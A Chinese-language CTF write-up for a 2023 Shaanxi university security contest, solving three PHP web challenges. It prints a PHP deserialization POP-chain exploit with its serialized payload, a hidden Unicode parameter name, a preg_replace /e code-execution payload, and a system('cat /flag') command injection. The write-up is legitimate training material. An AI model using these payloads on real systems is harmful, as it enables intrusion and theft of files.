2023年第三届陕西省大学生网络安全技能大赛 WEB WriteUp
2023年第三届陕西省大学生网络安全技能大赛 WEB WriteUp
解题思路
WEB
ezpop
f12查看app.eceb0255.js文件,找到一串疑似base64编码的字符串:
"L3BvcDNaVGdNdy5waHA=",base64解码后得到:/pop3ZTgMw.php,于是访问.
访问后很明显需要我们构造pop链来进行getshell.
这里直接放exp了:
<?php
class night
{
public $night;
}
class day
{
public $day;
}
class light
{
public $light;
}
class dark
{
public $dark;
}
$a=new night();
$a -> night=new day();
$a -> night ->day=new dark();
$a ->night ->day -> dark=new light();
$a -> night ->day ->dark -> light=new day();
$a ->night ->day ->dark ->light->day=new dark();
$a ->night ->day ->dark ->light->day->dark='php://filter/convert.base64-encode/resource=/flag';
//用filter伪协议读取来绕过hacked的过滤
$b=array($a,0);
//利用phpGC垃圾回收机制绕过throw new Exception
echo serialize($b);
?>
看出pop链子不难,真构造需要注意几点:
(1)这里我们要想调用night类中的__destruct函数,就需要我们绕过下面的那个throw new Exception('seino');这个报错,所以我们采用Php的GC垃圾回收机制来绕过(可自行百度).
然后得到
a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:1;i:0;}
注意这里需要我们把i:1改成i:0,这样才能触发GC回收机制。
然后就是抓包然后传参,一开始我以POST传了个pop上去,没反应
然后把整段代码放在vscode中查看,发现暗藏乾坤啊:
传的参数既然不是表面上看的那样,真的阴险!
这个就需要url编码一下再传了:
直接在vscode上写代码,然后得到。
%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop
完整的payload:%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop=a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:0;i:0;}
ezrce
谁便输入一个key,得到源码。
分析一下,发现这里的preg_replace函数是/e模式,这里存在一个/e模式下命令执行漏洞,然后我们可以控制qaq和name,那么就先试试。
POST传入:name=hahaha&qaq=phpinfo()
回显phpinfo,那么证明可以执行命令,但是这里有waf,试了一下,平常的自增,异或,取反都不能,那么很自然的就想到了无参数rce。
于是构造payload:
POST:name=hahaha&qaq=show_source(session_id(session_start()));
请求头:Cookie: PHPSESSID=?flag
unserialize
非预期:
直接传参:?a=system%20('cat /flag');